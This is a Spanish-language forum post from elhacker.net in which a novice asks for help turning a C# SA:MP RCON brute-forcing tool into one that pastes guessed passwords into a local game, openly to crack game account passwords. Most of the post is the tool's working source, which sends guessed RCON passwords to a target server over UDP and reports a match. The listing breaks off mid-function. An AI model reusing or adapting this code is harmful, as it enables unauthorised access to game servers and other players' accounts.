elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Los 10 CVE más críticos (peligrosos) de 2020


  Mostrar Mensajes
Páginas: [1]
1  Programación / Programación General / Necesito ayuda, soy novato en: 9 Noviembre 2015, 16:58 pm
Hola, que tal? Estoy necesitando ayuda en hacer un programa, no creo poder ser muy especifico ya que soy muy novato en programacion de windows, lo unico que tengo como base, era lo que se llamaba Scripting de AMX (El sistema que usan algunos juegos, como por ejemplo, el counter-strike, se usa para crear los mods, y tiene muchas cosas similares a la programacion, pero con diferentes codigos y menos cosas)
Lo que yo necesito es que no me hagan el trabajo, sino que me orienten en el tema de programacion.


Yo lo que quiero hacer es un brute forcer pero no uno cualquiera, la idea de este brute forcer es que trabaje con CMD (No se si soy muy especifico), lo que quiero decir, es que no es una aplicacion con diseño, sino que al abrir el archivo .exe, se abra una ventana CMD pidiendo el tipo de contraseña (Numeros, numeros y letras, letras, etc) y la longitud minima de la misma, pero con una pequeña diferencia, no necesito que trabaje por internet, es decir, que trabaje en alguna pagina o algo, sino que trabaje sobre una aplicacion "X" que tengo en mi pc. A lo que me refiero, que cuando inicie el ataque de fuerza bruta, que cada contraseña que vaya "Escribiendo", la copie y la pegue en determinado pograma que yo asigne en la estructura del brute force (Es decir, que el programa solo funcione para uno que yo especifique).

La base del programa ya la tengo, el problema es que no se en que tipo de lenguaje esta (Si es C, C++, ya que no se a que se refiere con C#) y hay varias cosas que no entiendo y varias que hay que sacar.

La base del programa tiene aproximadamente 850 lineas, pero este programa trabaja para hacer un ataque de fuerza bruta sobre la rcon de un servidor de un juego online, entonces, lo que yo quiero hacer, es sacar toda la parte de la rcon que no me interesa en el programa y ponerle la funcion que cada contraseña que "Escriba", la copie al clipboard y la pegue en otra aplicacion o juego.

El fin de hacer esto, es hackear contraseñas de un juego (Si, parezco idiota buscando esto, pero de paso aprendo a programar).

El programa que tengo, lo consegui, era un archivo .exe que lo abris, te pide la ip del servidor, el host, los caracteres de la contraseña y la longitud, chequea que el puerto y la ip sean correctos y empieza el ataque. Pero tambien vino con un archivo .cs, que lo abri con el visual basic y resultaba ser toda la estructura del programa, y se me ocurrio que a partir de esa base, podria hacer lo mismo pero para cuentas.

Aca dejo unas imagenes del programa como es y el codigo del programa:







Código
  1. //////RCON-Bruter by JokeR, writed in C#, Visual C# 2010 Express
  2. //Thanks to SA:MP Wiki for class to send rcon command
  3. //Usage: rcon_bruter ip port
  4. //Tested on SA:MP 0.3a, 0.3b, 0.3c ALL RELEASES
  5.  
  6. //init
  7. //#define ARGS
  8. using System;
  9. using System.Collections.Generic;
  10. using System.Text;
  11. using System.Linq;
  12. using System.IO;
  13. using System.Net;
  14. using System.Net.Sockets;
  15.  
  16. //class from sa-mp wiki
  17. namespace Query
  18. {
  19.    class RCONQuery
  20.    {
  21.        Socket qSocket;
  22.        IPAddress address;
  23.        int _port = 0;
  24.        string _password = null;
  25.  
  26.        string[] results = new string[50];
  27.        int _count = 0;
  28.  
  29.        public RCONQuery(string IP, int port, string password)
  30.        {
  31.            qSocket = new Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp);
  32.  
  33.            qSocket.SendTimeout = 1;
  34.            qSocket.ReceiveTimeout = 1;
  35.  
  36.            try
  37.            {
  38.                address = Dns.GetHostAddresses(IP)[0];
  39.            }
  40.  
  41.            catch
  42.            {
  43.  
  44.            }
  45.  
  46.            _port = port;
  47.            _password = password;
  48.        }
  49.  
  50.        public bool Send(string command)
  51.        {
  52.            try
  53.            {
  54.                IPEndPoint endpoint = new IPEndPoint(address, _port);
  55.  
  56.                using (MemoryStream stream = new MemoryStream())
  57.                {
  58.                    using (BinaryWriter writer = new BinaryWriter(stream))
  59.                    {
  60.                        writer.Write("SAMP".ToCharArray());
  61.  
  62.                        string[] SplitIP = address.ToString().Split('.');
  63.  
  64.                        writer.Write(Convert.ToByte(Convert.ToInt32(SplitIP[0])));
  65.                        writer.Write(Convert.ToByte(Convert.ToInt32(SplitIP[1])));
  66.                        writer.Write(Convert.ToByte(Convert.ToInt32(SplitIP[2])));
  67.                        writer.Write(Convert.ToByte(Convert.ToInt32(SplitIP[3])));
  68.  
  69.                        writer.Write((ushort)_port);
  70.  
  71.                        writer.Write('x');
  72.  
  73.                        writer.Write((ushort)_password.Length);
  74.                        writer.Write(_password.ToCharArray());
  75.  
  76.                        writer.Write((ushort)command.Length);
  77.                        writer.Write(command.ToCharArray());
  78.                    }
  79.  
  80.                    if (qSocket.SendTo(stream.ToArray(), endpoint) > 0)
  81.                        return true;
  82.                }
  83.            }
  84.  
  85.            catch
  86.            {
  87.                return false;
  88.            }
  89.  
  90.            return false;
  91.        }
  92.  
  93.        public int Recieve()
  94.        {
  95.            try
  96.            {
  97.                _count = 0;
  98.  
  99.                EndPoint endpoint = new IPEndPoint(address, _port);
  100.  
  101.                byte[] rBuffer = new byte[50];
  102.  
  103.                int count = qSocket.ReceiveFrom(rBuffer, ref endpoint);
  104.  
  105.                _count = count;
  106.  
  107.            }
  108.  
  109.            catch
  110.            {
  111.                return _count;
  112.            }
  113.  
  114.            return _count;
  115.        }
  116.    }
  117. }
  118.  
  119. namespace MainFunc
  120. {
  121.    class Program
  122.    {
  123.        #region Private variables
  124.  
  125.        private static string result;
  126.  
  127.        private static bool isMatched = false;
  128.  
  129.        private static int charactersToTestLength = 0;
  130.        private static long computedKeys = 0;
  131.  
  132.        /*private static char[] charactersToTest =
  133.          {
  134.             'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j',
  135.             'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't',
  136.             'u', 'v', 'w', 'x', 'y', 'z','A','B','C','D','E',
  137.             'F','G','H','I','J','K','L','M','N','O','P','Q','R',
  138.             'S','T','U','V','W','X','Y','Z','1','2','3','4','5',
  139.             '6','7','8','9','0','!','$','#','@','-','*','&','^',
  140.             '%','~','`','[',']','|','/','"',':',';',':','?','>',
  141.             ',','.','(',')','_','-','+','=','\\'
  142.         };*/
  143.  
  144.        /*private static char[] charactersToTest =
  145.          {
  146.             '1','2','3','4','5',
  147.             '6','7','8','9','0',
  148.         };*/
  149.  
  150.        #endregion
  151.  
  152.        static void Main(string[] args)
  153.        {
  154.            //print welcome informations
  155.            Console.WriteLine("RCON Bruter by JokeR for SA:MP, ver 0.1d-3");
  156.            Console.WriteLine("Tested on SA:MP 0.3a, 0.3b, 0.3c [ALL RELEASES]");
  157.            Console.WriteLine("Cracking is very slow due to limits in SA:MP 0.3");
  158.            Console.WriteLine("");
  159.            #if (ARGS)
  160.                if (args.Length == 0)
  161.                {
  162.                    Console.WriteLine("USAGE: rcon_brute [ip] [port] [charset type] [password lenght]");
  163.                    Console.WriteLine("Charsets: 1 - All chars, 2 - Numbers, 3 - Letters, 4 - Special chars (e.g. *&%), 5 - Numbers&Letters, 6 - Letters&Special, 7 - Numbers&Special");
  164.                    Environment.Exit(1);
  165.                }
  166.            #endif
  167.  
  168.  
  169.            #if (ARGS)
  170.                string ip = args[0];
  171.                int port = Int32.Parse(args[1]);
  172.                int charset = Int32.Parse(args[2]);
  173.            #else
  174.                Console.WriteLine("Enter target IP/HostName: ");
  175.                string ip = Console.ReadLine();
  176.                Console.WriteLine("Enter target port: ");
  177.                int port = Int32.Parse(Console.ReadLine());
  178.                Console.WriteLine("Select charset type: ");
  179.                Console.WriteLine("Charsets: 1 - All chars, 2 - Numbers, 3 - Letters, 4 - Special chars (e.g. *&%), 5 - Numbers&Letters, 6 - Letters&Special, 7 - Numbers&Special");
  180.                int charset = Int32.Parse(Console.ReadLine());
  181.                Console.WriteLine("Enter password lenght (cracking will start with this lenght, type 1 to normal mode): ");
  182.                int count = Int32.Parse(Console.ReadLine());
  183.            #endif
  184.  
  185.  
  186.            if (charset == 1) //all chars
  187.            {
  188.                char[] charactersToTest =
  189.                {
  190.                    'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j',
  191.                    'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't',
  192.                    'u', 'v', 'w', 'x', 'y', 'z','A','B','C','D','E',
  193.                    'F','G','H','I','J','K','L','M','N','O','P','Q','R',
  194.                    'S','T','U','V','W','X','Y','Z','1','2','3','4','5',
  195.                    '6','7','8','9','0','!','$','#','@','-','*','&','^',
  196.                    '%','~','`','[',']','|','/','"',':',';',':','?','>',
  197.                    ',','.','(',')','_','-','+','=','\\'
  198.                };
  199.                //start bruter
  200.                var timeStarted = DateTime.Now;
  201.                Console.WriteLine("Start BruteForce - {0} [{1}:{2}]", timeStarted.ToString(), ip, port);
  202.  
  203.                charactersToTestLength = charactersToTest.Length;
  204.  
  205.                var estimatedPasswordLength = count-1;
  206.  
  207.                while (!isMatched)
  208.                {
  209.                    estimatedPasswordLength++;
  210.                    startBruteForce(estimatedPasswordLength, ip, port, charset);
  211.                }
  212.  
  213.                Console.WriteLine("Password matched: {0}", DateTime.Now.ToString());
  214.                Console.WriteLine("Time passed: {0}s", DateTime.Now.Subtract(timeStarted).TotalSeconds);
  215.                Console.WriteLine("Resolved password: {0}", result);
  216.                Console.WriteLine("Computed keys: {0}", computedKeys);
  217.                Console.ReadLine();
  218.            }
  219.            if (charset == 2) //numbers
  220.            {
  221.                char[] charactersToTest =
  222.                {
  223.                    '1','2','3','4','5','6','7','8','9','0'
  224.                };
  225.                //start bruter
  226.                var timeStarted = DateTime.Now;
  227.                Console.WriteLine("Start BruteForce - {0} [{1}:{2}]", timeStarted.ToString(), ip, port);
  228.  
  229.                charactersToTestLength = charactersToTest.Length;
  230.  
  231.                var estimatedPasswordLength = count - 1;
  232.  
  233.                while (!isMatched)
  234.                {
  235.                    estimatedPasswordLength++;
  236.                    startBruteForce(estimatedPasswordLength, ip, port, charset);
  237.                }
  238.  
  239.                Console.WriteLine("Password matched: {0}", DateTime.Now.ToString());
  240.                Console.WriteLine("Time passed: {0}s", DateTime.Now.Subtract(timeStarted).TotalSeconds);
  241.                Console.WriteLine("Resolved password: {0}", result);
  242.                Console.WriteLine("Computed keys: {0}", computedKeys);
  243.                Console.ReadLine();
  244.            }
  245.            if (charset == 3) //letters
  246.            {
  247.                char[] charactersToTest =
  248.                {
  249.                    'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j',
  250.                    'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't',
  251.                    'u', 'v', 'w', 'x', 'y', 'z','A','B','C','D','E',
  252.                    'F','G','H','I','J','K','L','M','N','O','P','Q','R',
  253.                    'S','T','U','V','W','X','Y','Z',
  254.                };
  255.                //start bruter
  256.                var timeStarted = DateTime.Now;
  257.                Console.WriteLine("Start BruteForce - {0} [{1}:{2}]", timeStarted.ToString(), ip, port);
  258.  
  259.                charactersToTestLength = charactersToTest.Length;
  260.  
  261.                var estimatedPasswordLength = count - 1;
  262.  
  263.                while (!isMatched)
  264.                {
  265.                    estimatedPasswordLength++;
  266.                    startBruteForce(estimatedPasswordLength, ip, port, charset);
  267.                }
  268.  
  269.                Console.WriteLine("Password matched: {0}", DateTime.Now.ToString());
  270.                Console.WriteLine("Time passed: {0}s", DateTime.Now.Subtract(timeStarted).TotalSeconds);
  271.                Console.WriteLine("Resolved password: {0}", result);
  272.                Console.WriteLine("Computed keys: {0}", computedKeys);
  273.                Console.ReadLine();
  274.            }
  275.            if (charset == 4) //special
  276.            {
  277.                char[] charactersToTest =
  278.                {
  279.                    '!','$','#','@','-','*','&','^',
  280.                    '%','~','`','[',']','|','/','"',':',';',':','?','>',
  281.                    ',','.','(',')','_','-','+','=','\\'
  282.                };
  283.                //start bruter
  284.                var timeStarted = DateTime.Now;
  285.                Console.WriteLine("Start BruteForce - {0} [{1}:{2}]", timeStarted.ToString(), ip, port);
  286.  
  287.                charactersToTestLength = charactersToTest.Length;
  288.  
  289.                var estimatedPasswordLength = count - 1;
  290.  
  291.                while (!isMatched)
  292.                {
  293.                    estimatedPasswordLength++;
  294.                    startBruteForce(estimatedPasswordLength, ip, port, charset);
  295.                }
  296.  
  297.                Console.WriteLine("Password matched: {0}", DateTime.Now.ToString());
  298.                Console.WriteLine("Time passed: {0}s", DateTime.Now.Subtract(timeStarted).TotalSeconds);
  299.                Console.WriteLine("Resolved password: {0}", result);
  300.                Console.WriteLine("Computed keys: {0}", computedKeys);
  301.                Console.ReadLine();
  302.            }
  303.            if (charset == 5) //numbers&letters
  304.            {
  305.                char[] charactersToTest =
  306.                {
  307.                    'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j',
  308.                    'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't',
  309.                    'u', 'v', 'w', 'x', 'y', 'z','A','B','C','D','E',
  310.                    'F','G','H','I','J','K','L','M','N','O','P','Q','R',
  311.                    'S','T','U','V','W','X','Y','Z','1','2','3','4','5',
  312.                    '6','7','8','9','0'
  313.                };
  314.                //start bruter
  315.                var timeStarted = DateTime.Now;
  316.                Console.WriteLine("Start BruteForce - {0} [{1}:{2}]", timeStarted.ToString(), ip, port);
  317.  
  318.                charactersToTestLength = charactersToTest.Length;
  319.  
  320.                var estimatedPasswordLength = count - 1;
  321.  
  322.                while (!isMatched)
  323.                {
  324.                    estimatedPasswordLength++;
  325.                    startBruteForce(estimatedPasswordLength, ip, port, charset);
  326.                }
  327.  
  328.                Console.WriteLine("Password matched: {0}", DateTime.Now.ToString());
  329.                Console.WriteLine("Time passed: {0}s", DateTime.Now.Subtract(timeStarted).TotalSeconds);
  330.                Console.WriteLine("Resolved password: {0}", result);
  331.                Console.WriteLine("Computed keys: {0}", computedKeys);
  332.                Console.ReadLine();
  333.            }
  334.            if (charset == 6) //letters&special
  335.            {
  336.                char[] charactersToTest =
  337.                {
  338.                    'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j',
  339.                    'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't',
  340.                    'u', 'v', 'w', 'x', 'y', 'z','A','B','C','D','E',
  341.                    'F','G','H','I','J','K','L','M','N','O','P','Q','R',
  342.                    'S','T','U','V','W','X','Y','Z','!','$','#','@','-',
  343.                    '*','&','^','%','~','`','[',']','|','/','"',':',';',
  344.                    ':','?','>',',','.','(',')','_','-','+','=','\\'
  345.                };
  346.                //start bruter
  347.                var timeStarted = DateTime.Now;
  348.                Console.WriteLine("Start BruteForce - {0} [{1}:{2}]", timeStarted.ToString(), ip, port);
  349.  
  350.                charactersToTestLength = charactersToTest.Length;
  351.  
  352.                var estimatedPasswordLength = count - 1;
  353.  
  354.                while (!isMatched)
  355.                {
  356.                    estimatedPasswordLength++;
  357.                    startBruteForce(estimatedPasswordLength, ip, port, charset);
  358.                }
  359.  
  360.                Console.WriteLine("Password matched: {0}", DateTime.Now.ToString());
  361.                Console.WriteLine("Time passed: {0}s", DateTime.Now.Subtract(timeStarted).TotalSeconds);
  362.                Console.WriteLine("Resolved password: {0}", result);
  363.                Console.WriteLine("Computed keys: {0}", computedKeys);
  364.                Console.ReadLine();
  365.            }
  366.            if (charset == 7) //numbers&special
  367.            {
  368.                char[] charactersToTest =
  369.                {
  370.                    '1','2','3','4','5','6','7','8','9','0','!','$','#',
  371.                    '@','-','*','&','^','%','~','`','[',']','|','/','"',
  372.                    ':',';',':','?','>',',','.','(',')','_','-','+','=','\\'
  373.                };
  374.                //start bruter
  375.                var timeStarted = DateTime.Now;
  376.                Console.WriteLine("Start BruteForce - {0} [{1}:{2}]", timeStarted.ToString(), ip, port);
  377.  
  378.                charactersToTestLength = charactersToTest.Length;
  379.  
  380.                var estimatedPasswordLength = count - 1;
  381.  
  382.                while (!isMatched)
  383.                {
  384.                    estimatedPasswordLength++;
  385.                    startBruteForce(estimatedPasswordLength, ip, port, charset);
  386.                }
  387.  
  388.                Console.WriteLine("Password matched: {0}", DateTime.Now.ToString());
  389.                Console.WriteLine("Time passed: {0}s", DateTime.Now.Subtract(timeStarted).TotalSeconds);
  390.                Console.WriteLine("Resolved password: {0}", result);
  391.                Console.WriteLine("Computed keys: {0}", computedKeys);
  392.                Console.ReadLine();
  393.            }
  394.        }
  395.  
  396.        #region Private methods
  397.  
  398.        private static void startBruteForce(int keyLength, string ip, int port, int charset)
  399.        {
  400.            if (charset == 1) //all chars
  401.            {
  402.                char[] charactersToTest =
  403.                {
  404.                    'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j',
  405.                    'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't',
  406.                    'u', 'v', 'w', 'x', 'y', 'z','A','B','C','D','E',
  407.                    'F','G','H','I','J','K','L','M','N','O','P','Q','R',
  408.                    'S','T','U','V','W','X','Y','Z','1','2','3','4','5',
  409.                    '6','7','8','9','0','!','$','#','@','-','*','&','^',
  410.                    '%','~','`','[',']','|','/','"',':',';',':','?','>',
  411.                    ',','.','(',')','_','-','+','=','\\'
  412.                };
  413.                var keyChars = createCharArray(keyLength, charactersToTest[0]);
  414.                var indexOfLastChar = keyLength - 1;
  415.                createNewKey(0, keyChars, keyLength, indexOfLastChar, ip, port,charset);
  416.            }
  417.            if (charset == 2) //numbers
  418.            {
  419.                char[] charactersToTest =
  420.                {
  421.                    '1','2','3','4','5','6','7','8','9','0'
  422.                };
  423.                var keyChars = createCharArray(keyLength, charactersToTest[0]);
  424.                var indexOfLastChar = keyLength - 1;
  425.                createNewKey(0, keyChars, keyLength, indexOfLastChar, ip, port, charset);
  426.            }
  427.            if (charset == 3) //letters
  428.            {
  429.                char[] charactersToTest =
  430.                {
  431.                    'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j',
  432.                    'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't',
  433.                    'u', 'v', 'w', 'x', 'y', 'z','A','B','C','D','E',
  434.                    'F','G','H','I','J','K','L','M','N','O','P','Q','R',
  435.                    'S','T','U','V','W','X','Y','Z',
  436.                };
  437.                var keyChars = createCharArray(keyLength, charactersToTest[0]);
  438.                var indexOfLastChar = keyLength - 1;
  439.                createNewKey(0, keyChars, keyLength, indexOfLastChar, ip, port, charset);
  440.            }
  441.            if (charset == 4) //special
  442.            {
  443.                char[] charactersToTest =
  444.                {
  445.                    '!','$','#','@','-','*','&','^',
  446.                    '%','~','`','[',']','|','/','"',':',';',':','?','>',
  447.                    ',','.','(',')','_','-','+','=','\\'
  448.                };
  449.                var keyChars = createCharArray(keyLength, charactersToTest[0]);
  450.                var indexOfLastChar = keyLength - 1;
  451.                createNewKey(0, keyChars, keyLength, indexOfLastChar, ip, port, charset);
  452.            }
  453.            if (charset == 5) //numbers&letters
  454.            {
  455.                char[] charactersToTest =
  456.                {
  457.                    'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j',
  458.                    'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't',
  459.                    'u', 'v', 'w', 'x', 'y', 'z','A','B','C','D','E',
  460.                    'F','G','H','I','J','K','L','M','N','O','P','Q','R',
  461.                    'S','T','U','V','W','X','Y','Z','1','2','3','4','5',
  462.                    '6','7','8','9','0'
  463.                };
  464.                var keyChars = createCharArray(keyLength, charactersToTest[0]);
  465.                var indexOfLastChar = keyLength - 1;
  466.                createNewKey(0, keyChars, keyLength, indexOfLastChar, ip, port, charset);
  467.            }
  468.            if (charset == 6) //letters&special
  469.            {
  470.                char[] charactersToTest =
  471.                {
  472.                    'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j',
  473.                    'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't',
  474.                    'u', 'v', 'w', 'x', 'y', 'z','A','B','C','D','E',
  475.                    'F','G','H','I','J','K','L','M','N','O','P','Q','R',
  476.                    'S','T','U','V','W','X','Y','Z','!','$','#','@','-',
  477.                    '*','&','^','%','~','`','[',']','|','/','"',':',';',
  478.                    ':','?','>',',','.','(',')','_','-','+','=','\\'
  479.                };
  480.                var keyChars = createCharArray(keyLength, charactersToTest[0]);
  481.                var indexOfLastChar = keyLength - 1;
  482.                createNewKey(0, keyChars, keyLength, indexOfLastChar, ip, port, charset);
  483.            }
  484.            if (charset == 7) //numbers&special
  485.            {
  486.                char[] charactersToTest =
  487.                {
  488.                    '1','2','3','4','5','6','7','8','9','0','!','$','#',
  489.                    '@','-','*','&','^','%','~','`','[',']','|','/','"',
  490.                    ':',';',':','?','>',',','.','(',')','_','-','+','=','\\'
  491.                };
  492.                var keyChars = createCharArray(keyLength, charactersToTest[0]);
  493.                var indexOfLastChar = keyLength - 1;
  494.                createNewKey(0, keyChars, keyLength, indexOfLastChar, ip, port, charset);
  495.            }
  496.        }
  497.  
  498.        private static char[] createCharArray(int length, char defaultChar)
  499.        {
  500.            return (from c in new char[length] select defaultChar).ToArray();
  501.        }
  502.  
  503.        private static void createNewKey(int currentCharPosition, char[] keyChars, int keyLength, int indexOfLastChar, string ip, int port, int charset)
  504.        {
  505.            if (!isMatched)
  506.            {
  507.                var nextCharPosition = currentCharPosition + 1;
  508.                for (int i = 0; i < charactersToTestLength; i++)
  509.                {
  510.                    if (charset == 1) //all chars
  511.                    {
  512.                        char[] charactersToTest =
  513.                        {
  514.                            'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j',
  515.                            'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't',
  516.                            'u', 'v', 'w', 'x', 'y', 'z','A','B','C','D','E',
  517.                            'F','G','H','I','J','K','L','M','N','O','P','Q','R',
  518.                            'S','T','U','V','W','X','Y','Z','1','2','3','4','5',
  519.                            '6','7','8','9','0','!','$','#','@','-','*','&','^',
  520.                            '%','~','`','[',']','|','/','"',':',';',':','?','>',
  521.                            ',','.','(',')','_','-','+','=','\\'
  522.                        };
  523.                        keyChars[currentCharPosition] = charactersToTest[i];
  524.                        if (currentCharPosition < indexOfLastChar)
  525.                        {
  526.                            createNewKey(nextCharPosition, keyChars, keyLength, indexOfLastChar, ip, port, charset);
  527.                        }
  528.                        else
  529.                        {
  530.                            computedKeys++;
  531.                            //check rcon
  532.                            //Query.RCONQuery sQuery = new Query.RCONQuery("127.0.0.1", 7777, (new String(keyChars)));
  533.                            Query.RCONQuery sQuery = new Query.RCONQuery(ip, port, (new String(keyChars)));
  534.                            Console.Write("Checking rcon password: ");
  535.                            Console.Write(new String(keyChars));
  536.                            Console.WriteLine("");
  537.                            if (!sQuery.Send("echo test"))
  538.                            {
  539.                                Console.WriteLine("ERROR: Bad IP/HostName/Port");
  540.                                Environment.Exit(2);
  541.                            }
  542.                            int count = sQuery.Recieve();
  543.                            if (count == 17)
  544.                            {
  545.                                if (!isMatched)
  546.                                {
  547.                                    isMatched = true;
  548.                                    result = new String(keyChars);
  549.                                    Console.WriteLine("*** Success! received package: 17! ***");
  550.                                    Console.WriteLine("");
  551.                                }
  552.                                return;
  553.                            }
  554.                            if (count == 35)
  555.                            {
  556.                                Console.WriteLine("Failed, received package: 35");
  557.                            }
  558.                        }
  559.                    }
  560.                    if (charset == 2) //numbers
  561.                    {
  562.                        char[] charactersToTest =
  563.                        {  
  564.                            '1','2','3','4','5','6','7','8','9','0'
  565.                        };
  566.                        keyChars[currentCharPosition] = charactersToTest[i];
  567.                        if (currentCharPosition < indexOfLastChar)
  568.                        {
  569.                            createNewKey(nextCharPosition, keyChars, keyLength, indexOfLastChar, ip, port, charset);
  570.                        }
  571.                        else
  572.                        {
  573.                            computedKeys++;
  574.                            //check rcon
  575.                            //Query.RCONQuery sQuery = new Query.RCONQuery("127.0.0.1", 7777, (new String(keyChars)));
  576.                            Query.RCONQuery sQuery = new Query.RCONQuery(ip, port, (new String(keyChars)));
  577.                            Console.Write("Checking rcon password: ");
  578.                            Console.Write(new String(keyChars));
  579.                            Console.WriteLine("");
  580.                            if (!sQuery.Send("echo test"))
  581.                            {
  582.                                Console.WriteLine("ERROR: Bad IP/HostName/Port");
  583.                                Environment.Exit(2);
  584.                            }
  585.                            int count = sQuery.Recieve();
  586.                            if (count == 17)
  587.                            {
  588.                                if (!isMatched)
  589.                                {
  590.                                    isMatched = true;
  591.                                    result = new String(keyChars);
  592.                                    Console.WriteLine("*** Success! received package: 17! ***");
  593.                                    Console.WriteLine("");
  594.                                }
  595.                                return;
  596.                            }
  597.                            if (count == 35)
  598.                            {
  599.                                Console.WriteLine("Failed, received package: 35");
  600.                            }
  601.                        }
  602.                    }
  603.                    if (charset == 3) //letters
  604.                    {
  605.                        char[] charactersToTest =
  606.                        {
  607.                            'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j',
  608.                            'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't',
  609.                            'u', 'v', 'w', 'x', 'y', 'z','A','B','C','D','E',
  610.  
Páginas: [1]
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines